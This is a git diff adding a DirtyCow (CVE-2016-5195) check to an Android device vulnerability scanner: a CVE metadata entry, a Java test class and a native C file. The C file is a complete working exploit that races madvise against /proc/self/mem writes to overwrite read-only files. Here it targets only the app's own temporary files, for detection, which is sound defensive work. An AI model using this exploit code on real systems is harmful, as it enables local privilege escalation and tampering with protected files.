diff --git a/.gitignore b/.gitignore index ccabaeb..e4cda93 100644 --- a/.gitignore +++ b/.gitignore @@ -5,8 +5,7 @@ /app/src/main/libs/ /app/src/main/obj/ /local.properties -/.idea/workspace.xml -/.idea/libraries .DS_Store /build /captures +app/.externalNativeBuild/ diff --git a/app/CMakeLists.txt b/app/CMakeLists.txt new file mode 100644 index 0000000..53836b4 --- /dev/null +++ b/app/CMakeLists.txt @@ -0,0 +1,14 @@ +# Sets the minimum version of CMake required to build the native +# library. You should either keep the default value or only pass a +# value of 3.4.0 or lower. + +cmake_minimum_required(VERSION 3.4.1) + +# set binary output folder to libs folder +set(CMAKE_LIBRARY_OUTPUT_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}/src/main/libs/${ANDROID_ABI}") + +add_library( dirtyCow + SHARED + src/main/jni/dirtycow.c ) +target_link_libraries( dirtyCow + log) diff --git a/app/build.gradle b/app/build.gradle index 1461e91..528ce8f 100644 --- a/app/build.gradle +++ b/app/build.gradle @@ -3,13 +3,13 @@ import org.apache.tools.ant.taskdefs.condition.Os apply plugin: 'com.android.application' android { - compileSdkVersion 24 + compileSdkVersion 25 buildToolsVersion "24.0.1" defaultConfig { applicationId "com.nowsecure.android.vts" minSdkVersion 15 - targetSdkVersion 24 + targetSdkVersion 25 versionCode 13 versionName "v.13" } @@ -38,6 +38,11 @@ android { exclude 'META-INF/LICENSE.txt' exclude 'META-INF/NOTICE.txt' } + externalNativeBuild { + cmake { + path "CMakeLists.txt" + } + } } repositories { @@ -46,9 +51,9 @@ repositories { dependencies { compile fileTree(dir: 'libs', include: ['*.jar']) - compile 'com.android.support:appcompat-v7:24.1.1' - compile 'com.android.support:cardview-v7:24.1.1' - compile 'com.android.support:design:24.1.1' + compile 'com.android.support:appcompat-v7:25.0.1' + compile 'com.android.support:cardview-v7:25.0.1' + compile 'com.android.support:design:25.0.1' compile 'com.evernote:android-job:1.0.8' compile 'com.github.paolorotolo:appintro:4.0.0' compile 'com.squareup.retrofit2:adapter-rxjava:2.1.0' diff --git a/app/src/main/assets/vuln_map.json b/app/src/main/assets/vuln_map.json index 9a966b7..c33ad7f 100644 --- a/app/src/main/assets/vuln_map.json +++ b/app/src/main/assets/vuln_map.json @@ -563,6 +563,32 @@ "https://android.googlesource.com/platform/system/core.git/+/d167d5eabc794ba4ddef1a2900eb729720da84a2" ], "cvedate": "12/10/2015" + }, + "CVE-2016-5195": { + "cve": "CVE-2016-5195", + "altnames": [ + "CVE-2016-5195", + "DirtyCow", + "DirtyC0w" + ], + "description": "A race condition was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged, local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.", + "impact": + "An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system. This flaw allows an attacker with a local system account to modify on-disk binaries, bypassing the standard permission mechanisms that would prevent modification without an appropriate permission set." + , + "external_links": [ + "https://dirtycow.ninja/", + "https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails", + "https://bugzilla.redhat.com/show_bug.cgi?id=1384344", + "https://bugs.gentoo.org/show_bug.cgi?id=597624" + ], + "cvssv2": 6.9, + "patch": [ + "https://github.com/kcgthb/RHEL6.x-COW", + "https://review.cyanogenmod.org/#/c/172707/", + "https://review.cyanogenmod.org/#/c/167403/", + "Android security patch level 2016-11-06" + ], + "cvedate": "10/20/2016" } } diff --git a/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/VulnerabilityOrganizer.java b/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/VulnerabilityOrganizer.java index f921405..ffa2ac2 100644 --- a/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/VulnerabilityOrganizer.java +++ b/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/VulnerabilityOrganizer.java @@ -23,6 +23,7 @@ import fuzion24.device.vulnerability.vulnerabilities.kernel.CVE_2014_3153; import fuzion24.device.vulnerability.vulnerabilities.kernel.CVE_2014_4943; import fuzion24.device.vulnerability.vulnerabilities.kernel.CVE_2015_3636; +import fuzion24.device.vulnerability.vulnerabilities.kernel.CVE_2016_5195; import fuzion24.device.vulnerability.vulnerabilities.system.CVE20151528; import fuzion24.device.vulnerability.vulnerabilities.system.CVE20153860; import fuzion24.device.vulnerability.vulnerabilities.system.CVE_2016_0807; @@ -61,6 +62,7 @@ public static List getTests(Context ctx){ allTests.add(new CVE_2015_6616()); allTests.add(new CVE20153860()); allTests.add(new CVE_2016_0807()); + allTests.add(new CVE_2016_5195()); // DirtyCow vulnerability List filteredTest = new ArrayList<>(); String cpuArch1 = SystemUtils.propertyGet(ctx, "ro.product.cpu.abi"); diff --git a/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/kernel/CVE_2016_5195.java b/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/kernel/CVE_2016_5195.java new file mode 100644 index 0000000..f506f4f --- /dev/null +++ b/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/kernel/CVE_2016_5195.java @@ -0,0 +1,102 @@ +package fuzion24.device.vulnerability.vulnerabilities.kernel; + +import android.content.Context; + +import java.io.*; +import java.util.ArrayList; +import java.util.List; + +import fuzion24.device.vulnerability.util.CPUArch; +import fuzion24.device.vulnerability.vulnerabilities.VulnerabilityTest; + +/** + * Created by Till Busse on 21/11/16. + * Java implementation to test dirtyCow vulnerability. + */ + +public class CVE_2016_5195 implements VulnerabilityTest { + static { + System.loadLibrary("dirtyCow"); + } + private final String file1Name = "file1"; + private final String file2Name = "file2"; + private final String file1Content = "This is File one."; + private final String file2Content = "Mo0h"; + @Override + public String getCVEorID() { + return "CVE-2016-5195"; + } + + private native int runDirtyCow(Object [] paths); + + @Override + public boolean isVulnerable(Context context) throws Exception { + try{ + + List paths = createFiles(context); + boolean isWritten = checkFileContent(context, file1Name, file1Content); + if (!isWritten) + throw new Exception("Error running test. File could not be created with specific content"); + + int checkVal = runDirtyCow(paths.toArray()); + if (checkVal == 0){ + isWritten = checkFileContent(context, file1Name, file2Content); + return isWritten; + }else { + throw new Exception("Error running test. Errno: " + checkVal); + } + }finally { + // delete files when done + File file; + file = new File(context.getFilesDir(), file1Name); + file.delete(); + file = new File(context.getFilesDir(), file1Name); + file.delete(); + } + } + + @Override + public List getSupportedArchitectures() { + ArrayList archs = new ArrayList<>(); + archs.add(CPUArch.ALL); + return archs; + } + + private List createFiles(Context context){ + List paths = new ArrayList<>(); + paths.add(0, context.getFilesDir().getAbsolutePath() + "/" + file1Name); + paths.add(1, context.getFilesDir().getAbsolutePath() + "/" + file2Name); + FileOutputStream outputStream; + + try { + outputStream = context.openFileOutput(file1Name, Context.MODE_PRIVATE); + outputStream.write(file1Content.getBytes()); + outputStream = context.openFileOutput(file2Name, Context.MODE_PRIVATE); + outputStream.write(file2Content.getBytes()); + outputStream.close(); + } catch (Exception e) { + e.printStackTrace(); + } + return paths; + } + private boolean checkFileContent(Context context, String filename, String content){ + File fileCheck = context.getFilesDir(); + //Get the text file + File file = new File(fileCheck,filename); + //Read text from file + StringBuilder text = new StringBuilder(); + try { + BufferedReader br = new BufferedReader(new FileReader(file)); + String line; + + while ((line = br.readLine()) != null) { + text.append(line); + //text.append('\n'); + } + br.close(); + }catch (IOException e) { + e.printStackTrace(); + } + return content.equals(text.substring(0, content.length())); + } +} diff --git a/app/src/main/jni/Android.mk b/app/src/main/jni/Android.mk index 7122cc1..5b14dcb 100644 --- a/app/src/main/jni/Android.mk +++ b/app/src/main/jni/Android.mk @@ -227,3 +227,16 @@ LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/ include $(BUILD_EXECUTABLE) ################################ + +################################ +#include $(CLEAR_VARS) +# +#LOCAL_MODULE := dirtyCow +#LOCAL_SRC_FILES := dirtycow.c +#LOCAL_LDFLAGS += -llog +##LOCAL_CFLAGS += -DDEBUG +#LOCAL_CFLAGS += -fPIE +#LOCAL_LDFLAGS += -fPIE -pie +# +#include $(BUILD_SHARED_LIBRARY) +################################ \ No newline at end of file diff --git a/app/src/main/jni/dirtycow.c b/app/src/main/jni/dirtycow.c new file mode 100644 index 0000000..44c9df4 --- /dev/null +++ b/app/src/main/jni/dirtycow.c @@ -0,0 +1,229 @@ +#include +#include +#include +#include +#include +#include +#include + +#ifdef DEBUG +#include +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "DirtyCOW", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } +#else +#define LOGV(...) +#endif + +#define LOOP 50000 +#define STRINGSIZE 200 + +#ifndef PAGE_SIZE +#define PAGE_SIZE 4096 +#endif + +struct mem_arg { + unsigned char *offset; + unsigned char *patch; + size_t patch_size; + const char *oldFilePath; + uint8_t isWritten; + uint8_t doneWriting; + pthread_cond_t condWritten; + pthread_mutex_t lock; +}; + +// enum defining the Error codes for JNI +typedef enum EerrorCode{ + success = 0, + cantOpenFile, + cantMap, + wrongParamater +} errorCode; + + +static void *madviseThread(void *arg) +{ + struct mem_arg *mem_arg; + size_t size; + void *addr; + int c = 0; + + mem_arg = (struct mem_arg *)arg; + size = mem_arg->patch_size; + addr = (void *)(mem_arg->offset); + + LOGV("[*] madvise = %p %d", addr, (int)size); + + while (mem_arg->doneWriting == 0) { + c += madvise(addr, size, MADV_DONTNEED); + } + LOGV("[*] madvise = %d", c); + return 0; +} + +static void *procselfmemThread(void *arg) +{ + struct mem_arg *mem_arg; + int fd, i, c = 0; + + mem_arg = (struct mem_arg *)arg; + + fd = open("/proc/self/mem", O_RDWR); + if (fd == -1) + LOGV("open(\"/proc/self/mem\""); + for (i = 0; i < LOOP && (mem_arg->isWritten == 0); i++) { + lseek(fd, (off_t) mem_arg->offset, SEEK_SET); + c += write(fd, mem_arg->patch, mem_arg->patch_size); + pthread_cond_signal(&mem_arg->condWritten); + } + mem_arg->doneWriting = 1; + LOGV("[*] /proc/self/mem %d %i", c, i); + close(fd); + return NULL; +} + +static void *checkWriteThread(void *arg) +{ + struct mem_arg *mem_arg; + int fd, c = 0; + char buffer[STRINGSIZE]; + + mem_arg = (struct mem_arg *)arg; + + while (mem_arg->doneWriting == 0) { + pthread_mutex_lock(&mem_arg->lock); + pthread_cond_wait(&mem_arg->condWritten, &mem_arg->lock); + pthread_mutex_unlock(&mem_arg->lock); + fd = open(mem_arg->oldFilePath, O_RDONLY); + if (fd == -1) + LOGV("open(\"oldFile for check"); + c += read(fd, buffer, mem_arg->patch_size); + if (strncmp((const char *)buffer, (const char *)mem_arg->patch, mem_arg->patch_size) == 0){ + mem_arg->isWritten = 1; + break; + } + close(fd); + sched_yield(); + } + LOGV("[*] oldFile check c: %d buffer: \"%s\" patch: \"%s\"", c, buffer, mem_arg->patch); + return NULL; +} + +static void exploit(struct mem_arg *mem_arg) +{ + pthread_t pthMadVise, pthProcSelfMem, pthCheckWrite; + + LOGV("[*] exploit (%s) unpatch"); + LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); + + pthread_create(&pthMadVise, NULL, madviseThread, mem_arg); + pthread_create(&pthProcSelfMem, NULL, procselfmemThread, mem_arg); + pthread_create(&pthCheckWrite, NULL, checkWriteThread, mem_arg); + + pthread_join(pthMadVise, NULL); + pthread_join(pthProcSelfMem, NULL); + pthread_join(pthCheckWrite, NULL); + + LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); +} + +errorCode callCow(int argc, const char *argv[]) +{ + if (argc < 2/* && arg > 2 */) { + LOGV("usage %s /default.prop /data/local/tmp/default.prop", argv[0]); + return wrongParamater; + } + + struct mem_arg mem_arg; + struct stat st_oldFile; + struct stat st_newFile; + + int oldFile=open(argv[0],O_RDONLY); + if (oldFile == -1) { + LOGV("could not open %s", argv[0]); + return cantOpenFile; + } + if (fstat(oldFile,&st_oldFile) == -1) { + LOGV("could not open %s", argv[0]); + close(oldFile); + return cantOpenFile; + } + int newFile=open(argv[1],O_RDONLY); + if (newFile == -1) { + LOGV("could not open %s", argv[1]); + close(oldFile); + return cantOpenFile; + } + if (fstat(newFile,&st_newFile) == -1) { + LOGV("could not open %s", argv[1]); + close(oldFile); + close(newFile); + return cantOpenFile; + } + size_t size = st_oldFile.st_size; + if (st_newFile.st_size != st_oldFile.st_size) { + LOGV("warning: new file size (%lld) and file old size (%lld) differ\n", st_newFile.st_size, st_oldFile.st_size); + if (st_newFile.st_size > size) { + size = st_newFile.st_size; + } + } + + LOGV("size %d\n\n",size); + + mem_arg.patch = malloc(size); + if (mem_arg.patch == NULL) + LOGV("malloc"); + + memset(mem_arg.patch, 0, size); + + read(newFile, mem_arg.patch, st_newFile.st_size); + close(newFile); + mem_arg.patch_size = size; + void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, oldFile, 0); + if (map == MAP_FAILED) { + LOGV("mmap"); + close(oldFile); + return cantMap; + } + + LOGV("[*] mmap %p", map); + + mem_arg.offset = map; + mem_arg.oldFilePath = argv[0]; + mem_arg.isWritten = 0; + mem_arg.doneWriting = 0; + pthread_mutex_init(&mem_arg.lock, NULL); + pthread_cond_init(&mem_arg.condWritten, NULL); + + exploit(&mem_arg); + + pthread_cond_destroy(&mem_arg.condWritten); + pthread_mutex_destroy(&mem_arg.lock); + munmap(map, size); + close(oldFile); + free(mem_arg.patch); + + return success; +} + +JNIEXPORT jint JNICALL +Java_fuzion24_device_vulnerability_vulnerabilities_kernel_CVE_12016_15195_runDirtyCow(JNIEnv *env, jobject obj, jobjectArray stringArray){ + int stringCount = (*env)->GetArrayLength(env, stringArray); + char src[STRINGSIZE]; + char dest[STRINGSIZE]; + const char *argv[2]; + jstring string[2]; + argv[0] = dest; + argv[1] = src; + errorCode error; + for (int i=0; i < stringCount; i++) + { + string[i] = (*env)->GetObjectArrayElement(env, stringArray, i); + argv[i] = (*env)->GetStringUTFChars(env, string[i], 0); + } + error = callCow(stringCount, argv); + for (int i = 0; i < stringCount; i++) { + (*env)->ReleaseStringUTFChars(env, string[i], argv[i]); + (*env)->DeleteLocalRef(env, string[i]); + } + return (jint)error; +} diff --git a/build.gradle b/build.gradle index e220f0b..ef7ae5a 100644 --- a/build.gradle +++ b/build.gradle @@ -5,7 +5,7 @@ buildscript { jcenter() } dependencies { - classpath 'com.android.tools.build:gradle:2.1.2' + classpath 'com.android.tools.build:gradle:2.2.2' // NOTE: Do not place your application dependencies here; they belong // in the individual module build.gradle files